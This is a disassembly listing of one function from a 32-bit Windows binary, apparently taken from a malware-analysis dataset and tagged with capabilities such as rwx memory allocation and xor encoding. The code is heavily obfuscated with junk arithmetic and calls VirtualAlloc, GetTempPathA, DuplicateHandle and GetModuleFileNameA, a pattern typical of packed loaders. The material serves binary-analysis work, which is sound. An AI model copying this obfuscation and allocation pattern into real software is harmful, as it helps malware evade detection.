Function at 0x10004690
Capabilities:
Allocate or change rwx memory
Encode data using xor
Get common file path

Disassembly:
push ecx
push ecx
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x18]
push ebx
push ebp
mov ebp, eax
lea ebx, [edx + 0x1cc]
push esi
push edi
lea edi, [eax - 0x1ccb]
mov esi, ecx
lea eax, [edx - 0xbae]
mov dword [esp + 0x14], edi
mov dword [esp + 0x20], eax
lea edx, [ecx + 0x80]
mov eax, dword [esp + 0x1c]
xor esi, 0x368e
add eax, 0xffffe5f6
mov dword [esp + 0x28], esi
mov dword [esp + 0x10], eax
xor ebp, 0x2fd
mov eax, dword [esp + 0x2c]
add eax, 0x715
mov dword [esp + 0x1c], edx
mov dword [esp + 0x30], eax
lea eax, [ebx - 0x50c]
cmp esi, eax
je 0x10004a45
mov eax, edi
xor eax, 0x2162
cmp ebp, eax
jge 0x1000486a
mov esi, dword [esp + 0x24]
mov eax, dword [esi + 0x124]
xor eax, dword [0x10280bd4]
xor eax, 0xffeeac53
mov dword [0x10280bd4], eax
mov eax, dword [esi + 0xac]
add eax, 0x1111a
add dword [esi + 0xa0], eax
mov eax, dword [0x10247e84]
mov ecx, dword [eax + 0xf8]
mov eax, dword [esi + 0x108]
cmp eax, dword [esi + 0xdc]
mov dword [esi + 0xe8], ecx
mov eax, dword [0x10247e84]
je 0x1000476d
mov eax, dword [eax + 8]
add eax, ecx
mov dword [esi + 0xe8], eax
jmp 0x10004779
mov eax, dword [eax + 0xdc]
or dword [esi + 0x110], eax
mov eax, dword [esi + 0xec]
cmp eax, dword [0x10280b14]
ja 0x1000479a
mov eax, dword [esi + 0x4c]
add eax, 0xa5aaa
add eax, dword [esi + 0x84]
mov dword [esi + 0x34], eax
jmp 0x100047ab
mov eax, dword [esi + 0xfc]
sub eax, 0x2b22b
or dword [0x10280ad8], eax
mov eax, dword [0x10247e84]
add dword [eax + 0x34], 0xfffff6ca
mov eax, dword [esi + 0x7c]
mov edx, dword [0x10247e84]
add eax, 0xfff2e867
add eax, dword [esi + 0x38]
imul eax, dword [edx + 0xac]
mov dword [edx + 0xac], eax
cmp dword [0x10280ae4], 0x2fe8
jbe 0x100047f9
mov eax, dword [0x10247e84]
mov ecx, dword [eax + 0x88]
mov eax, 0xe32ba
xor ecx, dword [esi + 0x4c]
sub eax, ecx
add dword [esi + 0x34], eax
mov eax, dword [esi + 0xac]
cmp eax, dword [esi + 0xa0]
jae 0x10004812
mov eax, 0x135ee6
sub eax, dword [esi + 0x7c]
add dword [esi + 0x34], eax
mov edx, dword [0x10280afc]
mov eax, 0x1263
sub eax, dword [0x10280b00]
add edx, eax
mov dword [0x10280afc], edx
mov eax, dword [esi + 0x70]
mov ecx, dword [esi + 0x4c]
xor eax, 0x40
push eax
xor ecx, 0x344f1
push ecx
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea ecx, [eax + 0x5000]
mov eax, dword [esi + 0xfc]
sub eax, 0x131290
mov dword [esi + 0xa4], ecx
mov dword [esi + 0x48], eax
mov dword [esi + 0x9c], ecx
jmp 0x10004a45
mov ecx, dword [0x10247e84]
mov eax, ebp
mov edi, dword [esp + 0x24]
sub eax, dword [ecx + 0x38]
cmp ebx, eax
jne 0x10004985
mov esi, dword [esp + 0x30]
mov eax, dword [ecx + 0x128]
add esi, 0xffffe814
add eax, esi
mov esi, dword [esp + 0x28]
cmp ebx, eax
jae 0x1000495d
push 0x20
push 0x2a26
push 0x3806
push 0x1442
push 0x2a20
push 0x1130
push 0x24c1
push 0x1e3c
call fcn.10001c3e
mov dword [0x10280c3c], eax
add esp, 0x20
mov eax, dword [esp + 0x30]
sub eax, esi
imul eax, dword [esp + 0x1c]
push eax
mov eax, dword [0x10247e84]
mov eax, dword [eax + 0xb0]
add eax, dword [edi + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, dword [0x10247e84]
mov eax, ebx
mov esi, dword [edi + 0x10c]
xor eax, 0x1ccb
imul eax, dword [esp + 0x20]
or esi, dword [edi + 0xf4]
mov edx, dword [ecx + 0x110]
imul edx, dword [esp + 0x10]
or esi, dword [esp + 0x1c]
push eax
push ecx
push dword [esp + 0x30]
imul edx, dword [esp + 0x20]
push edx
push esi
call fcn.1000324b
mov ecx, dword [esp + 0x44]
add esp, 0x14
mov esi, dword [esp + 0x28]
mov edx, eax
sub ecx, esi
mov dword [esp + 0x20], edx
add dword [edi + 0x20], ecx
mov ecx, dword [0x10280bd4]
add ecx, ebp
xor dword [0x10280b44], ecx
mov ecx, dword [0x10247e84]
jmp 0x10004989
mov eax, dword [edi + 0x20]
xor eax, dword [edi + 4]
or eax, 0x1ee7
cmp ebx, eax
jae 0x10004985
lea eax, [edx - 0x199d]
imul eax, dword [edi + 0xac]
mov dword [edi + 0xac], eax
mov ecx, dword [0x10247e84]
mov edx, dword [esp + 0x20]
mov eax, dword [ecx + 0xa0]
xor eax, dword [edi + 0xfc]
mov dword [esp + 0x28], ebx
cmp ebx, eax
jb 0x10004a45
sub edx, ebp
mov dword [esp + 0x2c], edx
mov eax, dword [edi + 0xdc]
xor eax, dword [esp + 0x30]
or eax, dword [edi + 0x124]
push eax
mov eax, dword [edi + 0xa0]
add eax, dword [edi + 0x84]
push eax
mov eax, dword [ecx + 0xdc]
add eax, dword [0x10280bec]
and eax, ebx
push eax
mov eax, dword [edi + 0xb0]
push edx
mov edx, dword [esp + 0x30]
sub eax, edx
and edx, dword [edi + 0xf4]
push eax
mov eax, dword [ecx + 0x64]
add edx, 0x1ccb
sub eax, dword [esp + 0x30]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov eax, dword [0x10280acc]
and eax, ebp
push eax
mov eax, dword [edi + 4]
and eax, esi
push eax
imul eax, dword [edi + 0xb0], 0x1ccb
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [0x10247e84]
mov edx, dword [esp + 0x28]
add edx, 3
mov dword [esp + 0x28], edx
mov eax, dword [ecx + 0xa0]
xor eax, dword [edi + 0xfc]
cmp edx, eax
mov edx, dword [esp + 0x2c]
jae 0x100049a7
pop edi
pop esi
pop ebp
lea eax, [ebx - 0xcc9]
pop ebx
pop ecx
pop ecx
ret